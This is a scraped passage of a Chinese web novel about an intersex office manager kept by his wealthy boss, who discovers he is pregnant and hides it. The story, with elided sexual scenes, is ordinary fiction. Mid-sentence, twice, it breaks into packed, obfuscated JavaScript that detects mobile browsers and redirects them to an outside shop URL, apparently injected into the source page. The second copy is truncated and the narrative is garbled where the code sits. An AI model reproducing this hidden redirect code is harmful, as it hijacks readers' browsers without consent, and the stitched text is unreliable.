贺颜走到停车场,见小情儿站在车旁玩手机:“怎么不进去?” “我怕车里闷。”元丰收起手机,把车钥匙递给贺总。 “嗯,上车。” “好。” 回去的路上,车里很安静。 元丰憋了又憋,考虑到像骂人,他委婉地问道:“贺总,那人是你母亲吗?” 贺颜淡淡嗯了声。 “你母亲知道你是那啥不?” “你说呢?” 元丰感慨道:“贺总,你家里人真开明啊,还能接受这个。这要在我们那儿,打死的心都有了。” 贺颜笑了,调侃道:“你爸妈也会打死你?” “不会,我不一样啊。”元丰头回提起只有兄弟许辉才知道的事儿,他缓缓说,“我是弱jing症,可能都生不了孩子,反正下面还有个弟弟,家里香火不用我续。而且我这身体……是找不到媳妇儿的。” “……”贺颜没想到这小子毛病还不少,不禁多了几分同情。 他随口问道:“这么想做手术,是为了娶媳妇儿?” “以前想过,现在不想了。” “被我传染成同性恋了?” “……” 元丰彻底无语,因为他发现自己居然怼不回去,身体似乎还记得早上的感觉。 这一想,又犯毛病了。 等红绿灯时,贺颜注意到小情儿别扭的坐姿,直白道:“又尿裤子了?” “……”元丰很无奈,低声回,“它自己这样的,不关我的事儿……” 贺颜只是随便一问,没想到还真湿了。他伸手摸上元丰的脑袋使劲揉了两把,故意问:“你这脑瓜子里,在想什么不健康的?” “我……我啥都没想!” 回到家,一切都变得顺理成章。 …… 可怜巴巴的小眼神里写满了委屈,红润的双唇一张一合。 贺颜心头微动,俯身吻了上去。 有过之前两次经验,元丰这回没太惊讶,他闭上眼睛,被动承受着这个吻。 …… 元丰逐渐投入,双手攀上贺总的脖颈,开始笨拙地回应。 他有了新的发现,原来亲嘴也是能习惯的。 16. 第 16 章 元丰算是明白了,贺总之前说的最少两到三回不是开玩笑。 现在他不仅白天要上班,晚上回家后还得继续“加班”,身体都快被掏空了,搞不懂贺总的精力为什么那么旺盛,前天晚上应酬到半夜才回来,还把他从床上拉起来折腾了一顿。 其实也不能怪贺总,这事儿讲究你情我愿,大家都图一乐和,他自己也挺享受的。 明知道纵欲伤身,但一到床上,身体就不听使唤了,既然不听使唤,索性坦然接受。 昨天二妹打来电话,说母亲同意去镇上的医院了。赵志鹏那儿也给出答复,能跟着自己去分公司闯荡。 元丰越发觉得日子有奔头,唯一操心的就剩下杨伟了,早会结束后他把人叫进了办公室。 “我这两天忙得没空盯着你,又松懈了?” 杨伟确实努力跑了几天业务,也打了不少电话,可一单都没签上。他心里慌得一批,低声请求:“经理,你再给我几天时间行不?” 元丰无动于衷:“今天是最后一天,晚上带不回订单,明天别来了!” “经理,再给三天行不行?就三天!”杨伟语气有些急,“这几天我一直在跑业务,电话都打了几百个,单子也不是说签就能签上啊。” 元丰听到这儿,冷哼道:“签不上?赵志鹏昨天刚签上一单,就连业绩最差的孙俊,前天都签上了。他们行,你不行?” “……” “我问你,今天能不能签上?”元丰严肃道,“我对你要求高吗?这一单甭管多大金额,只要你签下来,都好说。” 杨伟每天跟在大哥屁股后头,潜移默化中,对经理也越看越不顺眼。 可惜眼下只能忍气吞声,他苦苦哀求:“经理,求求你再宽限我三天,我这几天真的特别努力在跑啊,我保证加倍努力!就三天,好吗?” 此时,方远推门而入,他走到杨伟旁边,说道:“元经理,杨伟这几天的努力我都看在眼里,你这么做是不是太过无情了?” 元丰看向方远,不客气地说道:“谁允许你进来的?不知道要敲门?” “……”方远压下心中不快,“杨伟才来多久?他还是新人,业务不熟练也正常。我说再给一个月,不过分吧?” 元丰跟看小丑似的看着面前两个傻缺,那如意算盘都打到脸上了。他没搭理方远,冲杨伟说道:“我最后再给你三天时间,好好努力。” “谢谢经理!” 元丰挥了挥手,“你们两个,出去吧。” 被无视的方远就差冲上去打人了,他握紧拳头,离开了办公室。 等业务员们都离开了,元丰准备去总经理那儿汇报自己三天后要辞退杨伟的情况,结果刚站起来,身体突然一热。 他现在夜生活规律,除了在床上,白天已经不会不对劲了,本想忽视不管,可走了两步又回头拉开办公桌的抽屉,拿出许久没用的湿巾去了卫生间。 脱掉裤子的那一刻,元丰心里一紧,浅色的内□□-部浅竟有暗红色的血迹,他抽出一张湿巾轻轻擦了下,凑到眼前才发现不是错觉,真的是血。 为什么会流血…… 尽管身体特殊,但元丰从未来过例假。他愣愣地盯着湿巾上面的血,想不明白到底怎么一回事儿,是因为纵欲过度吗? 迅速穿好裤子,他拿起手机开始搜索流血的原因,查出来的内容五花八门。 有说是x生活过急导致的,要不就是进入排卵期,什么体内激素水平突然下降。还有说是内分泌紊乱或炎症引起的,这个说子宫肌瘤,那个说卵巢囊肿之类的。 元丰看了一堆乱七八糟的,眼睛都快瞎了。 他开始按着查到的原因进行分析,过急肯定不对,虽然每天都做,可自从那晚嚷过之后,贺总就没再让他疼过,压根不急啊。这排卵期也不太可能,自己是男的能排啥卵?后面的那些更扯犊子了。 在看到“子宫”俩字儿时,他突然觉得可能不是扯犊子,自己是有子宫的,不会得了子宫肌瘤吧…… 操,这是个什么病啊。 元丰又打开浏览器,查了一堆关于子宫肌瘤方面的内容,越查越觉得离谱。 他将手机揣回裤兜里,决定先听网络医生指导的建议,放松心情,合理休息。 金陵轩。 “这个叉烧肉真好吃啊。”元丰贴心地给身边男人夹了一块,“贺总,你也尝尝。” 贺颜盯着碗里那块肉香四溢的黑豚叉烧,配合地动起筷子。 元丰盯着贺总,问道:“怎么样,好吃不?还是服务员给我推荐的。” 叉烧外焦里嫩,贺颜吃着没太大感觉。他点点头:“味儿不错。” “是非常不错!”元丰扒了两口饭,边嚼边说,“贺总,今晚我能不能请假啊?” 贺颜太久没听到“请假”这俩字儿了,他问:“请什么,不想要了?” “想啊,可是今天那儿突然出血了。” “怎么回事儿?” “不多。”元丰解释说,“我网上查了,就是太频繁了,得休息几天。” 考虑到特殊的生理构造,贺颜有些不放心,提醒道:“等休息天,让陈硕送你去医院检查看看。” “不用,歇几天就行。”元丰又问,“那晚上换后头不?” “先给你放两天假。” “哦哦。”元丰觉得贺总越来越好了,为了表示感谢,他拿起桌上的大龙虾,笑着说,“贺总,我给你剥虾吃啊?” 贺颜点点头:“行,剥吧。” 俩人吃完饭又一起回家,贺颜的车身高大,元丰打开车门往下一跳,双脚着地时,下腹瞬间传来一阵坠痛,差点没站稳。 他扶住车门捂着肚子,难受得皱起眉头,白天也这么疼过一会儿,但只是轻微的所以他没当回事儿。 此刻他却突然有些害怕,自己不会真得了什么毛病吧…… 贺颜关上主驾车门,察觉到小情儿的不对劲,走过去问:“怎么了?” “刚才跳太狠了,肚子难受。”元丰往旁边挪了两步,靠着车身。 贺颜盯着那白净的小脸看了两眼,面色还行。他关上车门:“明天把假请了,我让陈硕送你去医院。” 元丰快速思考了下,现在是关键时期肯定不能去医院检查做手术,至少要等到跟方远交接完毕。 “公司里好多事儿走不开,明天我先自己上医院看看,等处理完再去检查行不?” “嗯,自己决定。”贺颜打趣道,“这么拼,不知道的还以为你是公司老板。” “我在这个位置上,应该的。”元丰觉得肚子没那么难受了,试着走了两步。他上前挽住男人结实的胳膊,扯出一个讨好的笑,“贺总,这儿也没个拐棍,我拽着你胳膊走啊。” 贺颜一笑:“不怕被人看见?” 整个地下车库静悄悄的,元丰无所谓地说:“看见就看见呗,怕啥?” 贺颜夸了句有进步,领着他往电梯的方向走去。等电梯门一打开,才发现夸早了。 见到其他住户时,元丰立刻松开贺总胳膊,歪着的身子也站直了。 等人走了,他笑着说:“肚子不难受了,谢谢贺总!” 贺颜搂住小情儿的腰往怀里带,故意问:“躲什么?” 元丰没有反抗:“不是躲啊,真的不难受了。” “不难受了也去看看。”贺颜叮嘱道。 元丰点头嗯了两声说:“明天一早就去。” 贺颜最近在锦西湾待的时间比较多,原本空置的书房逐渐被利用起来。 他丢下一句早点睡,去了书房。 难得不做,元丰一时半会儿竟有些不适应。洗完澡,他打算先看一集《甄嬛传》再去睡。 宫斗剧还真是越看越上头,这阵子的空闲时间除了打pao,全用来追剧了,追到连收纳箱里的那几本“成功学”都给忘了。 最近有个新项目,贺颜在书房里跟公司副总视频通话了近一小时,等忙完工作回到卧室,床上的人已经睡了。 元丰睡得迷迷糊糊,感觉有人上床了。他翻过身去,伸手摸上男人结实的腹肌,含混地说:“我好困啊,不能打了……” “……”贺颜笑了,“不能打什么?” “炮啊……” 声音越来越低,显然是又睡了,贺颜盯着那张睡颜看了片刻,随后关上灯。 元丰睡了一觉,感觉身体好很多。他在客厅没见着贺总,只见到了陈硕。 “陈助理,早啊!” “早上好。” 元丰把厨房里的早点端到桌上,主动邀请:“你也坐下来一块儿吃吧。” “我吃过了。”陈硕问,“今天去哪家医院,有选好的吗?” 元丰没有请假,犹豫着要不要去医院。他喝了口粥,说道:“过三天再说吧,我今天还是骑车上班。” “贺总交代我必须送你去医院。”陈硕提醒道。 “……”元丰不想让陈硕难做,无奈同意,“那行,不过我今天没请假,得先去趟公司跟总经理请假。” “好的。” 元丰想去公司当面请假,一是因为要开早会,二是因为公司附近有一家规模还算可以的社区医院,人没那么多,排队时间短。 普通的妇科检查什么医院都能做,做不了再换大医院也不迟。 去公司的路上,车里安静得不像话。元丰几次欲言又止,想跟陈硕探讨昨晚看的《甄嬛传》剧情,到底还是忍住了。 快到公司时,他挑了个隐蔽的地方:“陈助理,就停这儿,我自己走过去。” “好,我在车里等你。” 元丰挺不好意思,笑着说了声谢谢。陈硕点点头:“不用客气,去吧。” 元丰怕陈硕久等,简短地开了个早会,连杨伟都懒得叮嘱了,反正是要走的人。开完会,他立刻去了黄总经理的办公室,假刚请到一半,身体又犯毛病了。 “小元啊,身体才是革命的本钱,不舒服了就赶紧去瞧。”黄振兴拍着他的肩膀,笑着说道,“分公司可离不了你啊,也别半天了,我给你批一天假,好好养养。” “谢谢经理。” “快去吧,多喝热水。” “……” 元丰走之前去了趟卫生间,又流血了,量比昨天少一些,是褐色的。 这回是不去都不行了,果然该听贺总的。 * 见陈硕跟着要下车,元丰赶忙拦住他:“陈助理,我一个人去就行了,你在车里等我。” “好,那我去找个停车位,你好了打我电话。” “麻烦你了啊。” 陈硕倒不希望元丰这么客气,他从包里拿出一张银行卡递过去:“看病刷这张卡,密码和锦西湾的一样,326819。” “不用不用,我自己带卡了。” “贺总交代的,请收下。” “……” 元丰挂不了妇科,只能随便挂个男性泌尿科,拿着挂号单去了二楼的妇科门诊。 好在不是周末,诊室外头的排椅上只坐了□□号人,其中有位年轻姑娘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658620|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在那姑娘看过来时,他面色有点尴尬,往外走了些。这也是他为不愿意去大医院的原因,一个男人跑到妇科看病,牙都让人笑掉了。 元丰内心忐忑地在走廊里来回踱步,观察着情况。妇科开了两间诊室,其中一间门开着,但里面没人。 陆续有病人去右边的诊室看病,他等啊等,始终找不到合适的机会,就在他急得思考该怎么办时,一位穿着白大褂的中年女医生端着茶杯走了过来。 他估摸着是空诊室的医生倒水回来了,于是目不转睛地注视着,见对方真往那间诊室走的时候,迅速跟上去,低声说道:“大夫您好,我有个特别紧急的事儿想咨询您,能耽误您一分钟吗?” 女医生停下脚步,奇怪地看了他两眼,无奈道:“你们这些小年轻啊……真是。让你女朋友自己过来,你问顶什么用?” “……”医生还肯停下来跟自己说话,元丰心里松了口气。 他稍微靠近了些,用极小的声音说:“大夫,我是两性畸形,昨天开始肚子疼,那儿还流血了。您能帮我瞧瞧吗?我挂不了妇科的号。” 女医生一愣,虽然知道,但从医这么多年还没遇到过两性畸形的患者。她看见年轻人眼中的无助,点头同意了。 “跟我进来吧。” “谢谢大夫!” 元丰关上诊室的门,摸着自己下腹的位置,把身体的主要情况和昨天以及早上发生的状况都仔细地说清楚了。 他紧张地问道:“医生,我会不会是得了什么子宫肌瘤啊?” 根据血量以及描述的色泽,确实不太像月经。女医生说:“具体要做检查,有性生活吗?” 医生在元丰眼里是神圣的,他没有丝毫羞耻,事无巨细地交代起来:“天天有,有时候一次有时候两次,昨天发现出血就没做了。大夫,我这情况有没有可能是因为x生活太频繁啊?” “小伙子,你这要节制啊。”女医生盯着电脑,一边操作一边说,“我先给你开单子,去把尿检和B超做了。” 元丰有些不好意思,连连点头:“谢谢大夫,我以后一定注意。” 在医生的帮助下,元丰成功地缴完费,拿着单子先后做了尿检和B超。 B超排队等了二十多分钟,做B超的医生看到单子时,惊讶地问他怎么会检查子宫。他解释说自己是两性畸形,本来还担心医生会继续八卦下去,但对方只是笑了笑,说会仔细给他检查。 抹上耦合剂的超声探头在腹部滑来滑去,他躺在检查床上,盯着白色的天花板,心里祈祷着千万别出什么毛病,希望一切都好。 元丰拿着新鲜出炉的B超单边走边看,术语太过专业,一句都没看懂。 他从自助打印机里取出尿检单,第一眼就被“弱阳性”三个字给吓到了,尿检就测了一项,弱阳性前面写着“尿HCG”。 直觉不是什么好结果,元丰心里开始害怕起来,急匆匆地去了妇科门诊,诊室的门却关着。 他心急如焚,左手紧紧攥着报告单,连纸张边缘皱了也没意识到。 仿佛经过了漫长的等待,门终于开了。等瞧病的中年大妈离开后,元丰走进去把报告单递给医生,紧张地问道:“大夫,尿检为什么会显示弱阳性啊?我是不是……” 女医生听到“弱阳”,面上有一闪而过的惊讶。在社区医院做了十来年的医生,她头回见到两性畸形的患者不说,这位男性患者可能还怀孕了。她接过单子:“别慌,我先看看B超结果。” “哦哦……您看……” 出血首先要排除怀孕,女医生考虑到病患的特殊性,这才加了尿检。她盯着B超单,缓缓说道:“月份太小,还瞧不出来。我再给你开个单子,去抽血化验一下。” 元丰听到月份太小,第一反应是肿瘤不够大,所以瞧不出来,得抽血检查。 撑在桌子上的手开始轻微发抖,曾经多次感到人生灰暗时,他都没想过要离开这个世界。他被那句话吓得打起磕巴:“大夫,我……我是不是长了什么肿瘤啊?是……是良性的不?” 女医生见他面色苍白,好心安慰道:“长什么肿瘤啊?B超结果没问题,看尿检像是怀孕了,所以再抽个血看看。” “……”元丰吃惊地瞪大双眼,“怀孕??” “是啊。”女医生感叹,“我做了这么多年医生,头回碰见你这种情况。医学上的事儿,还真是不好说。” “……” 女医生开好单子,提醒道:“血检报告要俩小时才出,嫌时间长等下午过来也行,我今天都在门诊待着。” “谢谢大夫……” 元丰没有立刻去采血,一个人在走廊角落里呆呆地站了许久。他完全消化不了医生说的那些话,自己是个带把的男人,怎么可能会怀孕? 这……也忒他妈扯淡了。 等结果的两个小时里,元丰坐在休息椅上,把外面还在等他的陈硕也忘了。他用手机查了很多乱七八糟的内容,脑子里也想了很多很多,始终不敢相信自己会有怀孕的可能性。 单子出来那一刻,他做了个深呼吸之后,才凑到跟前看了起来。检查项目:稀释人绒毛膜促性腺激素测定HCG[门诊] P(孕酮)9.98ng/mL β-HCG509.51↑mIU/mL 稀释β-HCG<1365mIU/mL 都是完全看不懂的数字,后面还有什么排卵期、黄体期、绝经期之类的数据。 元丰一脸懵逼,拿着血检报告单快速去了妇科诊室。 17. 第 17 章 陈硕知道医院看病耽误工夫,所以在车里静静等着。 可三个小时过去了,就算排队做检查,也不至于这么久。脑内倏地闪过一些画面,让刚拿出手机的右手一顿,他立刻打开车门,下了车。 往坏处想,元丰很可能查出了什么不好的结果。 元丰站在门诊大楼的出口,看着来往的车辆与行人,突然不知道该往哪儿走了,感觉人生一下子失去了方向。 虽然很扯淡,可他确实怀孕了。 血检测出的孕酮过低,结合下腹坠痛以及□□出血的情况来看,有点先兆流产的症状,需要卧床休息好好保胎,还不一定能保住。 由于他没有末次例假,无法计算正确的孕周。医生问了他上个月的x生活频率,再根据单子上的数据大概推算了下,怀孕至少有三周了。 医生还问他要不要这个孩子,他自己也不知道要不要。 因为他的犹豫,医生给开了一盒□□软胶囊,叮嘱他三天后再来医院做个抽血检查。如果不想要,趁早考虑清楚。 三周前…… 元丰伸手摸着自己的肚子,难以想象里面居然有个活的东西,只是车上那一回而已,怎么会这样? 不远处的年轻人摸着肚子,双目无神地盯着前方,看上去像是受了刺激。 陈硕见到这一幕,确定了自己的猜想。他酝酿着措辞,步伐缓慢地走到对方面前。 “再换家医院检查一下吧,贺总那里有关系,我现在送你过去。” 元丰闻声迅速将手中的塑料袋藏在身后,摇头拒绝:“不是……不用查了,我没事儿!咱们走吧。” 异常的言行举止足以说明问题,陈硕坚持道:“我现在打电话给贺总,让他帮你安排一下。” “别!千万别!”元丰连下一步的打算都没想好,更不可能将这个事儿告诉贺总。 他赶紧说道:“我真的没事儿,快走吧。” 陈硕没再坚持,跟着元丰往停车场的方向走去。走了几米远,他趁对方不注意,伸出手快狠准地抢走了那个塑料袋。 “操!你他妈……”元丰惊恐地回头要抢,塑料袋里对折的单子已经被打开了。 陈硕看到诊单上的“先兆流产”四个字,一惊,然而他还没继续看下去,纸和塑料袋被一并抢了回去。 “你是不是有毛病啊?!”元丰第一次对陈硕这么不客气,火刚撒一半,想到肚子里的小东西,立马压了下去。 陈硕只愣了两三秒很快反应过来,问:“你挂的什么科?” “泌尿科!”元丰不爽地回道。 “泌尿科为什么会有先兆流产?” “关你啥事儿啊!” 气氛变得沉默又尴尬,陈硕没有继续追问下去,诚恳地道了个歉:“不是大毛病就好,我不该查看你的隐私,对不起。” “……”元丰反倒有些不好意思了,可怀孕的事儿被发现,他又气又头疼。 “走吧,我先送你回去。” “……” “你之前问过我会不会想家。” 元丰正慢悠悠地走着,突然听到旁边的人开口说话。 他觉得陈硕今天有些怪怪的,出于好心,忍不住问道:“你怎么了啊?” “我妈七年前走的,生了大病没告诉我。”陈硕边走边平静地说起过去,“那个暑假应该回去的,但我找了份兼职,她走得很突然,什么都没留下。” “……” “也许她自己都没想到会这么快吧,可能还在等我大学毕业,找到稳定的工作,再成个家。” “你,你别太伤心啊,这生老病死……”元丰都不知道该怎么安慰陈硕了。 “没事,不用安慰,已经过去很久了。”陈硕停下脚步,语气有些认真,“我只是想说,有病不要瞒着,及早配合治疗。” 元丰也不想瞒着谁,可这事儿不瞒不行啊。如今被陈硕发现,他无奈道:“你能不能别告诉贺总啊?” “不能。”陈硕果断拒绝。 元丰急了:“你也看到了吧?我……我那啥了,就是……唉,怀孕了。真操蛋,你说我一男的,怎么会……没法说。” 陈硕没有问具体原因:“那更应该告诉贺总。” “别啊,医生说可能保不住。”元丰脑子一转,改口说,“你先别告诉他行不?万一他受不了这个刺激怎么办?就算能接受,那我也想亲自给他一个惊喜。” 陈硕沉默着,似乎在考虑。 元丰见有余地,继续说道:“我老家那儿有个说法,怀孕头三个月是不能说的。现在也不怎么稳定,你让我自己说行吗?” 陈硕最终同意:“好吧,我先送你回去。” “谢谢你啊,陈助理。” “不客气。” “医生怎么说的?”陈硕目视前方,开口问道。 陈助理终于在开车时主动说话了,可元丰却没什么心情。他叹了口气,闷声回道:“还不满一个月,大夫让我早做打算。” 陈硕感觉到元丰低落的情绪,不知该怎么安慰。他斟酌了片刻,说道:“现在应该连胚胎都算不上,别给自己太大压力。如果决定留下来,以我对贺总的了解,他会负责的。” “我又不是女的,负啥责啊。我,唉……”元丰又是一声长叹,“抽血结果要等俩小时,我坐那儿一边等一边想,肯定是尿检出错了,还查了好多乱七八糟的。结果医生告诉我,是真的……” “现在压根不是负不负责的问题,要是留下来保住了,这肚子……我到时候哪敢出门见人啊?分公司那儿还等着我过去,跟业务员也都说好了。可要是打了的话,我……唉……真他妈烦人,你说我到底该咋办啊……” “舍不得吗?”陈硕问。 元丰低声说着不知道,手却摸向自己平坦的腹部。这个意外实在太过突然,打乱了现有的一切计划。如果要孩子,他非但手术做不成,连经理的饭碗也会丢。 尽管只是三言两语,陈硕却明白元丰要面对的远不止这些。 是去是留必须快刀斩乱麻,他犀利地指出问题:“要的话,肚子肯定会慢慢变大,工作也会受到影响,你需要做好心理准备。我还是认为你应该马上告诉贺总,他有知情权。” 元丰忽悠不下去了,实话实说道:“你又不是不知道我跟他的关系,我俩一没结婚二没搞对象,这是我自己的事儿。” “不管你们什么关系,他也是孩子的父亲。”陈硕提醒,“养孩子不是那么简单的,你需要面临的问题有很多,早点告诉贺总吧,他可以给你提供更好的医疗保障。” 退一万步来说,就算真要,能不能保住还是个问题。 元丰心烦意乱,陈硕话里话外老是在强调告诉贺总,他担心对方说漏嘴,不得不再次叮嘱:“陈助理,你千万别说啊!我还没确定要不要,你让我再好好想想,行吗?” “好,从现在开始出行记得给我打电话,不要再骑车了。” “谢谢啊……”元丰靠着椅背,不再吱声。 等红绿灯时,陈硕想起重要的事,立刻拨通了保姆刘秀珍的电话,让对方尽快到锦西湾做饭,并叮嘱口味别太重。 结束通话后,他跟元丰说:“不知道你还能不能吃重口的,所以让保姆做清淡一些。” 元丰面无表情地盯着前方,说了声谢谢。 陈硕尝试着活跃气氛,可死活不会,最后憋出一句:“听说酸儿辣女……” “……” “……” 车里的气氛沉闷到极点,陈硕难得尴尬,闭上嘴巴专心开车了。 元丰因为那句“酸儿辣女”,不禁有些好奇肚子里的小东西。他从不挑食,酸甜苦辣咸都能吃,也不知道是男孩还是女孩,以后会叫他爸爸吗? 爸爸…… 他猛地意识到,如果孩子平安保住,自己就要做爸爸了。 考虑到元丰先兆流产的情况,陈硕一停好车,立刻下车绕到副驾,替他打开了车门。 “……”元丰脸色一黑,无奈说,“我自己能开,你别这么客气啊。” “小心点比较好。” 元丰下了车,问道:“你是不是还要给贺总打电话啊?” 陈硕点头,“需要汇报下你的检查情况。” 元丰有些不放心:“这个点贺总是不是在吃饭?要不你现在打吧,回头该耽误他工作了。” 陈硕看了下时间,同意后掏出手机,拨通了贺总的电话。 “贺总。” “嗯,他怎么样?” “元先生说身体没什么问题,我刚把他送回锦西湾。” “行,我知道了。” “好的。” 元丰想偷听,奈何陈硕个子太高。好在没说两句,贺总就挂了电话。 他笑着说:“陈助理,麻烦你了啊。” “没事。”陈硕再次提醒,“这个事情不能拖,尽快考虑好。” “好的好的,你放心。”元丰邀请道,“那天晚上说请你吃饭,你说下次。择日不如撞日,要不就现在吧?” “……” “我昨晚还看了一集《甄嬛传》,今天老想跟你交流剧情来着,咱们边吃边聊啊?” 陈硕犹豫好一会儿,点了点头。 经过意外怀孕这么个突发情况,元丰已经彻底把陈硕当兄弟看待了,还贴心地给对方夹菜。有人陪着说话聊天,让他暂时忘了肚子里的小家伙。 陈硕没有久待,吃完饭陪着元丰看了两集《甄嬛传》就告辞了。 走之前,他仍提醒元丰好好考虑清楚,不管去或留,都一定要告诉贺总。 元丰瘫在沙发上,认真思考着接下来的安排。其实在意识到自己要做爸爸的那瞬间,他心里已经有了决定。 一想到将来会有个可爱的小孩儿管他叫爸爸,别说打掉,只怕他会忍不住抱在怀里亲上几口。 人结婚图个啥?不就是为了找个知冷热的伴侣,再生个孩子,凑齐一家三口或四口,安安稳稳地过着小日子。 老天一定是知道他因为身体的毛病找不着媳妇儿,所以才送了个孩子给他。 工作没了可以再找,如果这个孩子没了,元丰不确定自己会不会后悔,哪怕没保成功,也不想留下遗憾。他立刻起身去拿公文包,从里面掏出水笔和A4纸,开始计算手头的钱。 存了二十三万的银行卡已经给了父母,自己卡里剩的十五万多再加上前阵子收到的两张支票,差不多有三十六万。 换肾按五十万算,还能余下九万块钱,要是孩子平安,等生下来起码要九个月。九个月的时间里,肾源能不能等到也不好说,如果等到了,能动的只有九万。不过这笔钱用来生孩子,绰绰有余了。等生完孩子,他养好身体马上出去找工作,应该能续上。 不对啊,自己上班,那孩子谁管啊? 元丰越想越头疼,真是像陈硕说的那样,要面临的问题太多太多了。 龙河新村的房子还没退租,肚子大了可以靠冬天的棉衣遮住,可开春后要怎么遮?他能忍受旁人异样的眼光吗?甚至过年都不能回老家了。 等孩子出生,自己会成为一个没房没车没文化的单亲爸爸,能教育好孩子吗?如果将来孩子问妈妈是谁,要怎么回答? 想到最后,他有些累了,打算走一步看一步。现在最要紧的是配合医生好好保胎,然后去公司跟方远提前交接经理的工作,争取一个星期内教会对方。 元丰从椅子上站起来,准备把笔跟纸收好,下腹又传来一阵轻微的坠痛。明明之前还祈祷着千万别出什么问题,现在却开始担心这个连胎芽都算不上的小东西。 他伸出手轻轻地抚摸着肚子,在心里说:我都决定留下你了,你这小家伙可得争点气啊! 元丰记着医生的交代,回房卧床休息了。等一觉醒来,窗外天色已黑,厨房隐约传来切菜声。刚睡醒的大脑还有些蒙,右手不自觉摸向下腹,他迷迷糊糊地想起自己要做爸爸了,肚子里多了个小生命。 真神奇啊,跟做梦似的。 他躺着没动,又闭上了眼睛,充满生活气息的锅铲碰撞声让他忍不住开始畅想以后的生活。 甭管男孩女孩,他都要好好挣钱供孩子念完大学,如果成绩好,再继续往下念,自己就拼命挣钱,争取在退休前给孩子攒出一套房来。 元丰越想越高兴,生活何止是有一点奔头,他已经规划好未来了,奋斗的目标很明确,那就是努力给孩子提供良好的教育和生活环境。虽然比不上那些大富大贵的家庭,但肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元丰冷静地做着思考,富余的包养费没法退不说,炮是铁定不能再打了,不能打就意味着包养合同很快会结束。 结束也好,不提供服务还占着茅坑,没道理。既然决定要孩子,他确实该找个机会说清楚,避免将来有牵扯。 其实也没什么可说的,但贺总不是普通老百姓,作为纯同性恋,大概率不会接受孩子的存在。 所以元丰打算说清楚之后,跟贺总签个与孩子有关的协议。如果孩子能平安生下来,他会独自抚养长大,不给对方带来任何困扰,也不惦记对方的财产。这孩子跟另一个爸爸,没有一毛钱关系。 这样的话,贺总应该会同意他生下来吧?就算不同意,他也要生。 贺颜进屋时,见到了稀奇的画面。平时狼吞虎咽的小情儿,今天吃饭倒挺慢,还吃出了几分优雅。 元丰听到开门声,自觉起身,笑着招呼道:“贺总你回来了!我去给你盛饭啊。” “去吧。” 贺颜放好车钥匙,换上拖鞋去了客卫洗手。等洗完手出来,元丰已经坐着继续吃了。 他走过去,随口问道:“怎么还学会细嚼慢咽了?” 元丰等嘴里的饭吞下去,喝了口汤润完嗓子才说:“吃快了对身体不好,不消化。” 这要换平时,恐怕边吃边说米饭都能从嘴里喷出来。 贺颜拉开餐椅坐下:“医生交代的?” “对。”元丰面不改色地胡诌,“瞧完妇科胃突然有点不舒服,我就去挂了个消化内科,大夫说我最近体虚,得好好休息,吃饭不能太快。” “年纪轻轻的,毛病不少。”贺颜又问,“妇科那儿怎么说的?” “做了B超和抽血化验,没啥毛病。大夫说就是x生活太频繁,让我多休息。”元丰想了想,说道,“贺总,最近都没办法跟你那啥了……” 贺颜过几天正好得去趟西北,于是大方地给小情儿放假:“给你放半个月假,公司那儿也请几天假,在家好好养身体。” 元丰有些感动:“谢谢贺总!不过手上还有一些活儿,忙完我就请假。” “嗯。” “贺总,我有事儿想跟你说。” “说吧。” “就那啥,我……” 贺颜等了好半晌,没等到声音。 他问:“你什么,哑巴了?” “我……我……”元丰“我”了半天,想说“我怀孕了”,可死活说不出口。陈硕说的负责不管用,他还是担心贺总会受不了这个刺激,让他打掉。 “又犯什么毛病?” “……” 元丰琢磨了一小会儿,决定先通过卖惨来博得贺总同情,再把孩子的事儿顺理成章地提出来。 他快速酝酿情绪,随后苦着脸,委屈地叫了声贺总,说:“我肚子难受……早上那儿又出血了……” 贺颜夹菜的动作一顿,抬眼看向元丰。这小子自打被办开以后,撒娇是越撒越顺溜,那模样瞧着真是委屈巴巴的,一副要人哄的架势。 他难得耐着性子哄道:“晚上我亲自给你来个精油开肚?” “……”别说博取同情,元丰直接无语。 贺总也太不配合了,这个时候就应该好好关心他的肚子啊,再仔细问问为什么会流血,最好主动要求查看出诊单,然后他就可以“被迫无奈”地交出单子。 他还等着贺总看完单子,跟他说:“你受苦了,孩子生下来吧。” “吃饭,吃完去洗澡。” “哦……”元丰吃了几口憋不住了,小心地试探,“贺总,你喜欢小孩儿不?” “问这干什么?”贺颜的人生规划里,就没有考虑过孩子的存在。 “就,就随便问问啊。”元丰得不到准话,只能另辟蹊径,“贺总你是不是有兄弟姐妹啊?不然这么大的家业,连香火都没,你父母也太开明了。” “没有。”贺颜笑了,“你操心的还挺多。” “我这不是关心你吗?”元丰继续问,“那你就没想过要个孩子啊?” 贺颜反问:“上哪儿要,你给我生?” “……”元丰吓一跳,支吾道,“我……我是男的!怎么生啊?” 贺颜调侃道:“那玩意儿都有了,能生孩子也不稀奇。” “……”元丰刚想否认,发现这是个好机会。他再次小心试探,“那,那我要是能生,你……“你喜不喜欢啊?” 贺颜听完,神情复杂地看向对面坐着的小情儿,对方一再试探自己,只有两种可能。 他一针见血地问道:“你怀孕了?” 18. 第 18 章 元丰惊得呆愣了两秒,刚要点头说是,贺总的下一句话直接将他堵了回去。 “我父母正好想要个孙子,你如果能生,奖励不是问题。” “……”他迅速分析出这话的中心意思,笑着说,“贺总你也太逗了,我一男的怀啥孕啊?” 贺颜喜欢听话守规矩的,怀孕不过是随口一问,元丰那吃惊的表情足以排除第二种可能。 他之前从未想过这小子能不能怀孕,结合连续两天的出血情况,没准是迟来的生理期,体虚和不能做也有了合理的解释。 “把今天检查的报告拿给我看看。” “……” 见元丰坐着不动,贺颜又道:“饭等会儿吃,先去拿。” “已经扔了,在医院的垃圾桶里。”藏在桌底下的双手紧握成拳,元丰强逼自己冷静,绝不能暴露任何蛛丝马迹。 